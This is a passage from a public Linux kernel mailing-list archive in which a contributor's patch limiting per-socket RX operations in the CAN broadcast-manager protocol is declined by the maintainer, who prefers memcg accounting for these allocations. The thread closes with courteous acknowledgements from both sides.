op->cfsiz = CFSIZ(msg_head->flags); > > op->flags = msg_head->flags; > > + op->rx_mem = rx_mem; > > > > if (msg_head->nframes > 1) { > > /* create array for CAN frames and copy the data */ > > @@ -1432,8 +1526,8 @@ static int bcm_rx_setup(struct bcm_msg_head *msg_head, struct msghdr *msg, > > op->cfsiz, > > GFP_KERNEL); > > if (!op->frames) { > > - kfree(op); > > - return -ENOMEM; > > + err = -ENOMEM; > > + goto free_op; > > } > > > > /* create and init array for received CAN frames */ > > @@ -1441,9 +1535,8 @@ static int bcm_rx_setup(struct bcm_msg_head *msg_head, struct msghdr *msg, > > op->cfsiz, > > GFP_KERNEL); > > if (!op->last_frames) { > > - kfree(op->frames); > > - kfree(op); > > - return -ENOMEM; > > + err = -ENOMEM; > > + goto free_op; > > } > > > > } else { > > @@ -1532,11 +1625,7 @@ static int bcm_rx_setup(struct bcm_msg_head *msg_head, struct msghdr *msg, > > > > dev = dev_get_by_index(sock_net(sk), ifindex); > > if (dev) { > > - err = can_rx_register(sock_net(sk), dev, > > - op->can_id, > > - REGMASK(op->can_id), > > - bcm_rx_handler, op, > > - "bcm", sk); > > + err = bcm_rx_register(op, dev); > > > > /* keep a tracked reference so that a later > > * unregister can safely reach the device even > > @@ -1558,9 +1647,7 @@ static int bcm_rx_setup(struct bcm_msg_head *msg_head, struct msghdr *msg, > > } > > > > } else { > > - err = can_rx_register(sock_net(sk), NULL, op->can_id, > > - REGMASK(op->can_id), > > - bcm_rx_handler, op, "bcm", sk); > > + err = bcm_rx_register(op, NULL); > > } > > > > if (err) { > > @@ -1593,6 +1680,7 @@ static int bcm_rx_setup(struct bcm_msg_head *msg_head, struct msghdr *msg, > > if (op->last_frames != &op->last_sframe) > > kfree(op->last_frames); > > kfree(op); > > + bcm_rx_op_uncharge(bo, rx_mem); > > return err; > > } > > > > @@ -1896,6 +1984,7 @@ static int bcm_init(struct sock *sk) > > bo->ifindex = 0; > > bo->dropped_usr_msgs = 0; > > bo->bcm_proc_read = NULL; > > + atomic_set(&bo->rx_receiver_count, 0); > > > > INIT_LIST_HEAD(&bo->tx_ops); > > INIT_LIST_HEAD(&bo->rx_ops); > Hi Oliver, Thank you for taking the time to explain your concerns and review my report and reproducer. I apologize for missing your earlier message. I understand your decision and will respect your request not to send further updates. Thank you again for your time and guidance. Best regards, Zihan ^ permalink raw reply [flat|nested] 13+ messages in thread
* Re: [PATCH net v2 1/1] can: bcm: limit RX operation resource usage per socket 2026-10-28 15:36 ` zihan xi @ 2026-10-28 16:04 ` Oliver Hartkopp 0 siblings, 0 replies; 13+ messages in thread From: Oliver Hartkopp @ 2026-10-28 16:04 UTC (permalink / raw) To: zihan xi; +Cc: linux-can, mkl, urs.thuermann, davem, vega On 28.10.26 16:36, zihan xi wrote: > On Wed, Oct 28, 2026 at 11:04 PM Oliver Hartkopp <socketcan@hartkopp.net> wrote: >> >> Just in the case it was not clear to you here: >> >> https://lore.kernel.org/linux-can/350df96b-5f69-490e-b39e-ed6e9bca4754@hartkopp.net/ >> >> Your patch does not solve the problem and will not be merged. >> >> Please stop sending updates. >> >> FYI it will go into this direction below, when the current patches are >> upstream. I already have a prepared patch for this issue. >> >> Best regards, >> Oliver >> >> (..) >> >> Enable memcg accounting instead, as it has been done for other >> allocations that can be triggered by unprivileged users: >> - use GFP_KERNEL_ACCOUNT for the bcm_op structures and their frames and >> last_frames arrays in bcm_tx_setup() and bcm_rx_setup() >> - create the rcv_cache with SLAB_ACCOUNT, which covers the CAN receivers >> of all CAN protocols >> >> (..) >> >> --- a/net/can/af_can.c >> +++ b/net/can/af_can.c >> @@ -919,7 +919,7 @@ static __init int can_init(void) >> rcv_cache = kmem_cache_create("can_receiver", sizeof(struct receiver), >> - 0, 0, NULL); >> + 0, SLAB_ACCOUNT, NULL); >> --- a/net/can/bcm.c >> +++ b/net/can/bcm.c >> @@ -1155,7 +1155,7 @@ static int bcm_tx_setup(...) >> - op = kzalloc(OPSIZ, GFP_KERNEL); >> + op = kzalloc(OPSIZ, GFP_KERNEL_ACCOUNT); >> @@ -1172,7 +1172,7 @@ static int bcm_tx_setup(...) >> op->frames = kmalloc_array(msg_head->nframes, >> op->cfsiz, >> - GFP_KERNEL); >> + GFP_KERNEL_ACCOUNT); >> @@ -1403,7 +1403,7 @@ static int bcm_rx_setup(...) >> - op = kzalloc(OPSIZ, GFP_KERNEL); >> + op = kzalloc(OPSIZ, GFP_KERNEL_ACCOUNT); >> @@ -1418,7 +1418,7 @@ static int bcm_rx_setup(...) >> op->frames = kmalloc_array(msg_head->nframes, >> op->cfsiz, >> - GFP_KERNEL); >> + GFP_KERNEL_ACCOUNT); >> @@ -1427,7 +1427,7 @@ static int bcm_rx_setup(...) >> op->last_frames = kcalloc(msg_head->nframes, >> op->cfsiz, >> - GFP_KERNEL); >> + GFP_KERNEL_ACCOUNT); >> >> (..) >> >> On 28.10.26 14:43, Zihan Xi wrote: >>> BCM sockets can create an unbounded number of RX operations. Each >>> operation allocates memory outside of the socket buffer accounting, >>> so a single unprivileged socket can exhaust kernel memory. >>> >>> Bound the number and aggregate allocation size of RX operations per >>> socket. Keep the charge until the operation and its frame arrays are >>> freed. Also keep a receiver count charged until the CAN core releases >>> the receiver after its RCU grace period, so repeated setup/delete >>> requests cannot bypass the limits while callbacks are pending. >>> >>> Return -ENOBUFS when a socket reaches either limit. Existing operations >>> can still be updated without additional charges. >>> >>> Fixes: ffd980f976e7 ("[CAN]: Add broadcast manager (bcm) protocol") >>> Cc: stable@vger.kernel.org >>> Reported-by: Vega <vega@nebusec.ai> >>> Link: https://bugtracker.nebusec.ai/f/11134 >>> Signed-off-by: Zihan Xi <zihanx@nebusec.ai> >>> --- >>> include/linux/can/core.h | 7 +++ >>> net/can/af_can.c | 34 ++++++++++- >>> net/can/af_can.h | 1 + >>> net/can/bcm.c | 127 +++++++++++++++++++++++++++++++++------ >>> 4 files changed, 147 insertions(+), 22 deletions(-) >>> >>> diff --git a/include/linux/can/core.h b/include/linux/can/core.h >>> index 2de74c2b78b6..89b9d0a2dcc1 100644 >>> --- a/include/linux/can/core.h >>> +++ b/include/linux/can/core.h >>> @@ -53,6 +53,13 @@ int can_rx_register(struct net *net, struct net_device *dev, >>> void (*func)(struct sk_buff *, void *), >>> void *data, char *ident, struct sock *sk); >>> >>> +/* release runs from an RCU callback and must not sleep. */ >>> +int can_rx_register_with_release(struct net *net, struct net_device *dev, >>> + canid_t can_id, canid_t mask, >>> + void (*func)(struct sk_buff *, void *), >>> + void *data, char *ident, struct sock *sk, >>> + void (*release)(struct sock *sk)); >>> + >>> extern void can_rx_unregister(struct net *net, struct net_device *dev, >>> canid_t can_id, canid_t mask, >>> void (*func)(struct sk_buff *, void *), >>> diff --git a/net/can/af_can.c b/net/can/af_can.c >>> index 34fe3b28d576..a3f0ed35fbb5 100644 >>> --- a/net/can/af_can.c >>> +++ b/net/can/af_can.c >>> @@ -441,15 +441,20 @@ static struct hlist_head *can_rcv_list_find(canid_t *can_id, canid_t *mask, >>> * -ENOMEM on missing cache mem to create subscription entry >>> * -ENODEV unknown device >>> */ >>> -int can_rx_register(struct net *net, struct net_device *dev, canid_t can_id, >>> - canid_t mask, void (*func)(struct sk_buff *, void *), >>> - void *data, char *ident, struct sock *sk) >>> +static int can_rx_register_internal(struct net *net, struct net_device *dev, >>> + canid_t can_id, canid_t mask, >>> + void (*func)(struct sk_buff *, void *), >>> + void *data, char *ident, struct sock *sk, >>> + void (*release)(struct sock *sk)) >>> { >>> struct receiver *rcv; >>> struct hlist_head *rcv_list; >>> struct can_dev_rcv_lists *dev_rcv_lists; >>> struct can_rcv_lists_stats *rcv_lists_stats = net->can.rcv_lists_stats; >>> >>> + if (release && !sk) >>> + return -EINVAL; >>> + >>> /* insert new receiver (dev,canid,mask) -> (func,data) */ >>> >>> if (dev && (dev->type != ARPHRD_CAN || !can_get_ml_priv(dev))) >>> @@ -474,6 +479,7 @@ int can_rx_register(struct net *net, struct net_device *dev, canid_t can_id, >>> rcv->data = data; >>> rcv->ident = ident; >>> rcv->sk = sk; >>> + rcv->release = release; >>> >>> hlist_add_head_rcu(&rcv->list, rcv_list); >>> dev_rcv_lists->entries++; >>> @@ -485,15 +491,37 @@ int can_rx_register(struct net *net, struct net_device *dev, canid_t can_id, >>> >>> return 0; >>> } >>> + >>> +int can_rx_register(struct net *net, struct net_device *dev, canid_t can_id, >>> + canid_t mask, void (*func)(struct sk_buff *, void *), >>> + void *data, char *ident, struct sock *sk) >>> +{ >>> + return can_rx_register_internal(net, dev, can_id, mask, func, data, >>> + ident, sk, NULL); >>> +} >>> EXPORT_SYMBOL(can_rx_register); >>> >>> +int can_rx_register_with_release(struct net *net, struct net_device *dev, >>> + canid_t can_id, canid_t mask, >>> + void (*func)(struct sk_buff *, void *), >>> + void *data, char *ident, struct sock *sk, >>> + void (*release)(struct sock *sk)) >>> +{ >>> + return can_rx_register_internal(net, dev, can_id, mask, func, data, >>> + ident, sk, release); >>> +} >>> +EXPORT_SYMBOL(can_rx_register_with_release); >>> + >>> /* can_rx_delete_receiver - rcu callback for single receiver entry removal */ >>> static void can_rx_delete_receiver(struct rcu_head *rp) >>> { >>> struct receiver *rcv = container_of(rp, struct receiver, rcu); >>> struct sock *sk = rcv->sk; >>> + void (*release)(struct sock *sk) = rcv->release; >>> >>> kmem_cache_free(rcv_cache, rcv); >>> + if (release) >>> + release(sk); >>> if (sk) >>> sock_put(sk); >>> } >>> diff --git a/net/can/af_can.h b/net/can/af_can.h >>> index 87887014f562..2fa4cf8c1314 100644 >>> --- a/net/can/af_can.h >>> +++ b/net/can/af_can.h >>> @@ -57,6 +57,7 @@ struct receiver { >>> void *data; >>> char *ident; >>> struct sock *sk; >>> + void (*release)(struct sock *sk); >>> struct rcu_head rcu; >>> }; >>> >>> diff --git a/net/can/bcm.c b/net/can/bcm.c >>> index 3d637a1e0ac1..477bdc1e8745 100644 >>> --- a/net/can/bcm.c >>> +++ b/net/can/bcm.c >>> @@ -58,6 +58,7 @@ >>> #include <linux/can/skb.h> >>> #include <linux/can/bcm.h> >>> #include <linux/slab.h> >>> +#include <linux/overflow.h> >>> #include <linux/workqueue.h> >>> #include <linux/spinlock.h> >>> #include <net/can.h> >>> @@ -127,6 +128,7 @@ struct bcm_op { >>> void *last_frames; >>> struct canfd_frame sframe; >>> struct canfd_frame last_sframe; >>> + size_t rx_mem; >>> struct sock *sk; >>> struct net_device *rx_reg_dev; >>> netdevice_tracker rx_reg_dev_tracker; >>> @@ -141,6 +143,9 @@ struct bcm_sock { >>> struct list_head notifier; >>> struct list_head rx_ops; >>> struct list_head tx_ops; >>> + unsigned int rx_op_count; >>> + size_t rx_mem_used; >>> + atomic_t rx_receiver_count; >>> unsigned long dropped_usr_msgs; >>> struct proc_dir_entry *bcm_proc_read; >>> char procname [32]; /* inode number in decimal with \0 */ >>> @@ -190,6 +195,10 @@ static bool bcm_is_invalid_tv(struct bcm_msg_head *msg_head) >>> #define OPSIZ sizeof(struct bcm_op) >>> #define MHSIZ sizeof(struct bcm_msg_head) >>> >>> +/* Bound the resources consumed by RX operations on one BCM socket. */ >>> +#define BCM_MAX_RX_OPS 1024 >>> +#define BCM_MAX_RX_MEM (16 * 1024 * 1024) >>> + >>> /* >>> * procfs functions >>> */ >>> @@ -922,9 +931,64 @@ static struct bcm_op *bcm_find_op(struct list_head *ops, >>> return NULL; >>> } >>> >>> +/* Called with the socket lock held. */ >>> +static bool bcm_rx_op_charge(struct bcm_sock *bo, size_t rx_mem) >>> +{ >>> + if (bo->rx_op_count >= BCM_MAX_RX_OPS || >>> + rx_mem > BCM_MAX_RX_MEM - bo->rx_mem_used) >>> + return false; >>> + >>> + bo->rx_op_count++; >>> + bo->rx_mem_used += rx_mem; >>> + return true; >>> +} >>> + >>> +/* Called with the socket lock held. */ >>> +static void bcm_rx_op_uncharge(struct bcm_sock *bo, size_t rx_mem) >>> +{ >>> + if (!rx_mem) >>> + return; >>> + >>> + if (WARN_ON_ONCE(!bo->rx_op_count || bo->rx_mem_used < rx_mem)) >>> + return; >>> + >>> + bo->rx_op_count--; >>> + bo->rx_mem_used -= rx_mem; >>> +} >>> + >>> +static void bcm_rx_receiver_release(struct sock *sk) >>> +{ >>> + struct bcm_sock *bo = bcm_sk(sk); >>> + >>> + WARN_ON_ONCE(atomic_dec_return(&bo->rx_receiver_count) < 0); >>> +} >>> + >>> +/* Called with the socket lock held. */ >>> +static int bcm_rx_register(struct bcm_op *op, struct net_device *dev) >>> +{ >>> + struct bcm_sock *bo = bcm_sk(op->sk); >>> + int err; >>> + >>> + if (atomic_inc_return(&bo->rx_receiver_count) > BCM_MAX_RX_OPS) { >>> + atomic_dec(&bo->rx_receiver_count); >>> + return -ENOBUFS; >>> + } >>> + >>> + err = can_rx_register_with_release(sock_net(op->sk), dev, op->can_id, >>> + REGMASK(op->can_id), bcm_rx_handler, >>> + op, "bcm", op->sk, >>> + bcm_rx_receiver_release); >>> + if (err) >>> + atomic_dec(&bo->rx_receiver_count); >>> + >>> + return err; >>> +} >>> + >>> static void bcm_free_op_work(struct work_struct *work) >>> { >>> struct bcm_op *op = container_of(work, struct bcm_op, work); >>> + struct sock *sk = op->sk; >>> + size_t rx_mem = op->rx_mem; >>> >>> hrtimer_cancel(&op->timer); >>> hrtimer_cancel(&op->thrtimer); >>> @@ -935,13 +999,20 @@ static void bcm_free_op_work(struct work_struct *work) >>> if ((op->last_frames) && (op->last_frames != &op->last_sframe)) >>> kfree(op->last_frames); >>> >>> - /* the last possible access to op->timer/op->thrtimer has now >>> - * happened above via hrtimer_cancel() - op->sk is no longer >>> - * needed by any pending timer callback, so drop our reference >>> + kfree(op); >>> + /* >>> + * Keep the RX budget charged until the operation and its frame arrays >>> + * have actually been freed. op->sk holds a reference while this work is >>> + * pending, so the socket remains valid while updating its accounting. >>> */ >>> - sock_put(op->sk); >>> + if (rx_mem) { >>> + lock_sock(sk); >>> + bcm_rx_op_uncharge(bcm_sk(sk), rx_mem); >>> + release_sock(sk); >>> + } >>> >>> - kfree(op); >>> + /* Drop the reference held for the operation and any pending timer. */ >>> + sock_put(sk); >>> } >>> >>> static void bcm_free_op_rcu(struct rcu_head *rcu_head) >>> @@ -1316,6 +1387,7 @@ static int bcm_rx_setup(struct bcm_msg_head *msg_head, struct msghdr *msg, >>> { >>> struct bcm_sock *bo = bcm_sk(sk); >>> struct bcm_op *op; >>> + size_t rx_mem, frames_size, arrays_size; >>> int do_rx_register; >>> int new_op = 0; >>> int err = 0; >>> @@ -1414,10 +1486,31 @@ static int bcm_rx_setup(struct bcm_msg_head *msg_head, struct msghdr *msg, >>> do_rx_register = (ifindex && !op->rx_reg_dev) ? 1 : 0; >>> >>> } else { >>> + /* >>> + * Charge the operation and its frame arrays before allocating >>> + * them or registering a CAN receiver. nframes is already bounded >>> + * above, but keep the size arithmetic explicitly overflow-safe. >>> + */ >>> + rx_mem = sizeof(*op); >>> + if (msg_head->nframes > 1) { >>> + if (check_mul_overflow((size_t)msg_head->nframes, >>> + (size_t)CFSIZ(msg_head->flags), >>> + &frames_size) || >>> + check_mul_overflow(frames_size, (size_t)2, >>> + &arrays_size) || >>> + check_add_overflow(rx_mem, arrays_size, &rx_mem)) >>> + return -EOVERFLOW; >>> + } >>> + >>> + if (!bcm_rx_op_charge(bo, rx_mem)) >>> + return -ENOBUFS; >>> + >>> /* insert new BCM operation for the given can_id */ >>> op = kzalloc(OPSIZ, GFP_KERNEL); >>> - if (!op) >>> + if (!op) { >>> + bcm_rx_op_uncharge(bo, rx_mem); >>> return -ENOMEM; >>> + } >>> >>> spin_lock_init(&op->bcm_tx_lock); >>> spin_lock_init(&op->bcm_rx_update_lock); >>> @@ -1425,6 +1518,7 @@ static int bcm_rx_setup(struct bcm_msg_head *msg_head, struct msghdr *msg, >>> op->nframes = msg_head->nframes; >>> op->cfsiz = CFSIZ(msg_head->flags); >>> op->flags = msg_head->flags; >>> + op->rx_mem = rx_mem; >>> >>> if (msg_head->nframes > 1) { >>> /* create array for CAN frames and copy the data */ >>> @@ -1432,8 +1526,8 @@ static int bcm_rx_setup(struct bcm_msg_head *msg_head, struct msghdr *msg, >>> op->cfsiz, >>> GFP_KERNEL); >>> if (!op->frames) { >>> - kfree(op); >>> - return -ENOMEM; >>> + err = -ENOMEM; >>> + goto free_op; >>> } >>> >>> /* create and init array for received CAN frames */ >>> @@ -1441,9 +1535,8 @@ static int bcm_rx_setup(struct bcm_msg_head *msg_head, struct msghdr *msg, >>> op->cfsiz, >>> GFP_KERNEL); >>> if (!op->last_frames) { >>> - kfree(op->frames); >>> - kfree(op); >>> - return -ENOMEM; >>> + err = -ENOMEM; >>> + goto free_op; >>> } >>> >>> } else { >>> @@ -1532,11 +1625,7 @@ static int bcm_rx_setup(struct bcm_msg_head *msg_head, struct msghdr *msg, >>> >>> dev = dev_get_by_index(sock_net(sk), ifindex); >>> if (dev) { >>> - err = can_rx_register(sock_net(sk), dev, >>> - op->can_id, >>> - REGMASK(op->can_id), >>> - bcm_rx_handler, op, >>> - "bcm", sk); >>> + err = bcm_rx_register(op, dev); >>> >>> /* keep a tracked reference so that a later >>> * unregister can safely reach the device even >>> @@ -1558,9 +1647,7 @@ static int bcm_rx_setup(struct bcm_msg_head *msg_head, struct msghdr *msg, >>> } >>> >>> } else { >>> - err = can_rx_register(sock_net(sk), NULL, op->can_id, >>> - REGMASK(op->can_id), >>> - bcm_rx_handler, op, "bcm", sk); >>> + err = bcm_rx_register(op, NULL); >>> } >>> >>> if (err) { >>> @@ -1593,6 +1680,7 @@ static int bcm_rx_setup(struct bcm_msg_head *msg_head, struct msghdr *msg, >>> if (op->last_frames != &op->last_sframe) >>> kfree(op->last_frames); >>> kfree(op); >>> + bcm_rx_op_uncharge(bo, rx_mem); >>> return err; >>> } >>> >>> @@ -1896,6 +1984,7 @@ static int bcm_init(struct sock *sk) >>> bo->ifindex = 0; >>> bo->dropped_usr_msgs = 0; >>> bo->bcm_proc_read = NULL; >>> + atomic_set(&bo->rx_receiver_count, 0); >>> >>> INIT_LIST_HEAD(&bo->tx_ops); >>> INIT_LIST_HEAD(&bo->rx_ops); >> > > Hi Oliver, > > Thank you for taking the time to explain your concerns and review my > report and reproducer. I apologize for missing your earlier message. > > I understand your decision and will respect your request not to send > further updates. > > Thank you again for your time and guidance. Thanks Zihan! I really appreciate that you looked into this topic and provided a reproducer and some solution for it - which definitely caused some effort for you. Enabling memcg accounting for CAN allocations follows the approach for other objects that can be created by unprivileged users and is the way how it should be solved. memcg does not introduce any new CAN specific limit and does not make assumptions about the number of sockets, filters or BCM operations an application needs. Best regards, Oliver ^ permalink raw reply [flat|nested] 13+ messages in thread
end of thread, other threads:[~2026-10-28 16:05 UTC | newest] Thread overview: 13+ messages (download: mbox.gz follow: Atom feed -- links below jump to the message on this page -- 2026-10-27 11:18 [PATCH net 0/1] can: bcm: bound per-socket RX operation resources Zihan Xi 2026-10-27 11:18 ` [PATCH net 1/1] can: bcm: limit RX operation resource usage per socket Zihan Xi 2026-10-27 11:29 ` sashiko-bot 2026-10-27 13:08 ` zihan xi 2026-10-27 13:11 ` Marc Kleine-Budde 2026-10-27 13:22 ` Oliver Hartkopp 2026-10-28 13:43 ` [PATCH net v2 0/1] can: bcm: bound per-socket RX operation resources Zihan Xi 2026-10-28 13:43 ` [PATCH net v2 1/1] can: bcm: limit RX operation resource usage per socket Zihan Xi 2026-10-28 13:53 ` sashiko-bot 2026-10-28 14:14 ` zihan xi 2026-10-28 15:04 ` Oliver Hartkopp 2026-10-28 15:36 ` zihan xi 2026-10-28 16:04 ` Oliver Hartkopp
This is a public inbox, see mirroring instructions for how to clone and mirror all data and code used for this inbox